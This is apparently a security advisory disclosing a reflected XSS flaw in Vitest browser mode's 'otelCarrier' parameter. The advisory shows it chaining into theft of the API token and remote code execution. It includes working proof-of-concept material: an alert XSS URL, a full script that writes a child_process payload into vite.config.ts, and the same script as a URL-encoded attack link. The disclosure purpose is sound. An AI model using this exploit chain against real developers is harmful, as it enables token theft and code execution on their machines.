Summary Vitest browser mode served "/vitest_test/" with the "otelCarrier" query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin. https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48 https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41 The same generated page embeds "VITEST_API_TOKEN", which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls. Impact This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running. In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into "vite.config.ts". Vitest/Vite then reloaded the config, executing the injected config code in Node. This is related in impact to "GHSA-9crc-q9x8-hgqq" (https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs. Proof of Concept XSS For a concrete reproduction, start browser mode in watch mode using the official Lit example: pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc cd vitest-poc pnpm install pnpm test By default, Vitest serves the browser runner HTML and WebSocket API at "http://localhost:63315". Open the following URL: http://localhost:63315/vitest_test/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull) The "otelCarrier" query value is inserted into the generated inline module script as JavaScript source: otelCarrier: (alert("xss via otelCarrier"),null), Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin. RCE via config write A full local RCE proof can use the same injection point to recover "window.VITEST_API_TOKEN", connect to "/vitest_browser_api", and call "triggerCommand("writeFile", ...)" to modify the local "vite.config.ts". The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node. This PoC imports "flatted" from a CDN to keep the payload compact. <details><summary>Example script and encoded URL</summary>(setTimeout(async()=>{ const s = window.__vitest_browser_runner__ const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm') const p = location.protocol === 'https:' ? 'wss:' : 'ws:' const q = 'type=orchestrator&rpcId=poc-' + Date.now() + '&sessionId=' + encodeURIComponent(s.sessionId) + '&projectName=' + encodeURIComponent(s.config.name || '') + '&method=' + encodeURIComponent(s.method) + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0') const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q) const pending = new Map() function call(m, a = []) { const i = crypto.randomUUID() ws.send(stringify({ t: 'q', i, m, a })) return new Promise((resolve, reject) => { pending.set(i, { resolve, reject }) }) } ws.onmessage = (event) => { const message = parse(event.data) const promise = pending.get(message.i) if (!promise) { return } pending.delete(message.i) if (message.e) { promise.reject(message.e) } else { promise.resolve(message.r) } } ws.onopen = async () => { const configPath = 'vite.config.ts' const original = await call('triggerCommand', [ s.sessionId, 'readFile', configPath, [configPath, 'utf-8'], ]) const injected = ` import("node:child_process").then(lib => { lib.execSync('touch ./rce-poc') console.log('RCE success') }) ` await call('triggerCommand', [ s.sessionId, 'writeFile', configPath, [configPath, injected + original], ]) alert('POC: vite.config.ts modified to trigger RCE on config reload') } ws.onerror = () => alert('POC: browser api websocket failed') },0),null) The following URL is the same script encoded as the "otelCarrier" query value: http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull) </details>***